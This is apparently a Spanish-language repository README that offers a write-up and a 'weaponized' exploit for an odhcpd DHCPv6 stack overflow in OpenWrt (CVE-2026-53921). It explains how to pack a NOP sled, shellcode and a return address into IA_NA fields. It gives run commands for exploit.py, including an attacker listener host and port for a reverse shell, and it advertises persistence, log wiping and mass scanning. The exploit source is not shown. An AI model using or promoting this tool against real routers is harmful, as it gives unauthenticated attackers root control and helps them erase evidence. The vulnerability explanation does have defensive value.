
CVE-2026-53921 – odhcpd Stack Overflow (CVSS 9.8) 🛡️ Write-Up detallado y completo de la vulnerabilidad, y Verificador y Multi-exploit para RCE en DHCPv6 de OpenWrt. Overflow de doble vector (IA_NA/IA_PD) con shellcode MIPS/ARM, cadenas ROP, proxy SOCKS5, persistencia, borrado de registros y escaneo masivo. Úsalo éticamente, mantente legal. 🔒

- Solo para fines educativos y pruebas autorizadas. El uso no autorizado es ilegal.**
CVE-2026-53921 es un desbordamiento de búfer de pila crítico en el demonio odhcpd de OpenWrt, el servidor predeterminado de DHCPv6/DHCPv4/RA.
La vulnerabilidad existe en el código de manejo de mensajes DHCPv6 de odhcpd,
específicamente en las funciones build_ia() y dhcpv6_ia_handle_IAs().
El error ocurre durante la serialización (empaquetado) de los paquetes
DHCPv6 Reply. Cuando odhcpd responde a las solicitudes del cliente, construye
la respuesta en un búfer de pila de tamaño fijo de 512 bytes sin una
verificación de límites adecuada.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
Un atacante envía un DHCPv6 Request (o Solicit) con:
Cada opción consume espacio de pila mientras odhcpd construye su Reply. Los
datos acumulados superan los 512 bytes, provocando el desbordamiento.
Vector Desencadenante Punto de desbordamiento
Sitio 1 5 opciones IA_NA build_ia() para IA_NA
con direcciones IPv6
build_ia() para IA_PDLa causa raíz es idéntica, pero el desbordamiento ocurre en rutas de código diferentes, lo que hace que ambos vectores sean igualmente explotables.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
El atacante sobrescribe la dirección de retorno guardada para que apunte a su shellcode en memoria.
Requisito Descripción
Acceso a la red El atacante debe tener conectividad IPv6 con el objetivo
Autenticación Ninguna -- ataque no autenticado
Privilegios odhcpd se ejecuta como root, por lo
que RCE otorga control total del sistema
En un exploit real, el shellcode del atacante se coloca en los campos de dirección IPv6 de IAAddress (16 bytes por IA_NA). Los paquetes manipulados empaquetan el shellcode, el NOP sled y la dirección de retorno en estos campos.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
Versión Estado ¿RCE posible?
odhcpd < e432dd6 Vulnerable [+] Sí OpenWrt < 24.10.8 Vulnerable [+] Sí OpenWrt < 25.12.5 Vulnerable [+] Sí OpenWrt 24.10.8+ Parcheado [-] No OpenWrt 25.12.5+ Parcheado [-] No odhcpd master + e432dd6 Parcheado [-] No
Esta vulnerabilidad es particularmente peligrosa porque:
odhcpd está habilitado de forma predeterminada en las instalaciones de OpenWrt.| Componente | Versiones vulnerables | Corregido en |
|---|---|---|
odhcpd (rama master) | anterior al commit e432dd6 | e432dd6 o posterior |
| Versiones de OpenWrt | < 24.10.8 < 25.12.5 | 24.10.8 y 25.12.5 |
Este repositorio proporciona dos scripts independientes:
| Script | Propósito | Código de exploit | Seguridad |
|---|---|---|---|
verifier.py | Comprobación de vulnerabilidad no intrusiva | [-] No | [+] Seguro |
exploit.py | Exploit completo weaponizado | [+] Sí | [!] Peligroso |
verifier.py – Comprobador de vulnerabilidadesexploit.py – Exploit completoIA_NA (Sitio1) e IA_PD (Sitio2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| Argumento | Descripción |
|---|---|
-u, --target | Dirección IPv6 objetivo (obligatorio) |
-i, --iface | Interfaz de red (predeterminado: eth0) |
exploit.py